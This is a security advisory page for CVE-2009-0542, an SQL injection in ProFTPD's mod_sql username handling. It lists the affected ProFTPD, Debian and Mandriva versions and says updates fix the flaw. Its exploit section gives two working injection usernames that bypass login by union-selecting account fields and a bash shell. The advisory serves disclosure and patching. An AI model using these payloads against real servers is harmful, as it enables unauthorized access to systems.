ProFTPD 'mod_sql' Username SQL Injection Vulnerability

BID:33722

Info

ProFTPD 'mod_sql' Username SQL Injection Vulnerability

Bugtraq ID: 33722
Class: Input Validation Error
CVE: CVE-2009-0542
Remote: Yes
Local: No
Published: Feb 10 2009 12:00AM
Updated: May 07 2015 05:07PM
Credit: [email protected]
Vulnerable: ProFTPD Project ProFTPD 1.3.2 rc2
ProFTPD Project ProFTPD 1.3.1
Mandriva Linux Mandrake 2009.0 x86_64
Mandriva Linux Mandrake 2009.0
Mandriva Linux Mandrake 2008.1 x86_64
Mandriva Linux Mandrake 2008.1
Mandriva Linux Mandrake 2008.0 x86_64
Mandriva Linux Mandrake 2008.0
MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 3.0 x86_64
MandrakeSoft Corporate Server 3.0
MandrakeSoft Corporate Server 4.0
Gentoo Linux
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Debian Linux 4.0 sparc
Debian Linux 4.0 s/390
Debian Linux 4.0 powerpc
Debian Linux 4.0 mipsel
Debian Linux 4.0 mips
Debian Linux 4.0 m68k
Debian Linux 4.0 ia-64
Debian Linux 4.0 ia-32
Debian Linux 4.0 hppa
Debian Linux 4.0 armel
Debian Linux 4.0 arm
Debian Linux 4.0 amd64
Debian Linux 4.0 alpha
Debian Linux 4.0
Not Vulnerable: ProFTPD Project ProFTPD 1.3.2 rc3
ProFTPD Project ProFTPD 1.3.2

Discussion

ProFTPD 'mod_sql' Username SQL Injection Vulnerability

ProFTPD is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to manipulate SQL queries, modify data, or exploit latent vulnerabilities in the underlying database. This may result in unauthorized access and a compromise of the application; other attacks are also possible.

ProFTPD 1.3.1 through 1.3.2 rc 2 are vulnerable.

Exploit / POC

ProFTPD 'mod_sql' Username SQL Injection Vulnerability

Attackers can use standard tools to exploit this issue.

The following example input is available:

username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --
password: 1

username: %') and 1=2 union (select <name>,1,<uid>,<gid>,0x2F,0x2F62696E2F62617368); -- a

The following exploit is available:

Solution / Fix

ProFTPD 'mod_sql' Username SQL Injection Vulnerability

Solution:
Updates are available. Please see the references for more information.


Mandriva Linux Mandrake 2008.1 x86_64

Debian Linux 4.0 arm

Mandriva Linux Mandrake 2008.1

Debian Linux 5.0 ia-64

Debian Linux 4.0 powerpc

Debian Linux 4.0 m68k

Debian Linux 5.0 ia-32

Mandriva Linux Mandrake 2008.0 x86_64

Mandriva Linux Mandrake 2008.0

Debian Linux 5.0 mipsel

Debian Linux 4.0 amd64

Debian Linux 4.0 ia-32

Debian Linux 4.0 hppa

Debian Linux 4.0 sparc

Debian Linux 4.0 s/390

Mandriva Linux Mandrake 2009.0

Debian Linux 5.0 arm

Debian Linux 4.0 alpha

Debian Linux 4.0 armel

MandrakeSoft Corporate Server 4.0

Debian Linux 4.0

Mandriva Linux Mandrake 2009.0 x86_64

Debian Linux 5.0 amd64

Debian Linux 4.0 mipsel

Debian Linux 5.0 mips

Debian Linux 5.0 powerpc

Debian Linux 4.0 ia-64

Debian Linux 4.0 mips

MandrakeSoft Corporate Server 3.0 x86_64

MandrakeSoft Corporate Server 3.0

MandrakeSoft Corporate Server 4.0 x86_64

References

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report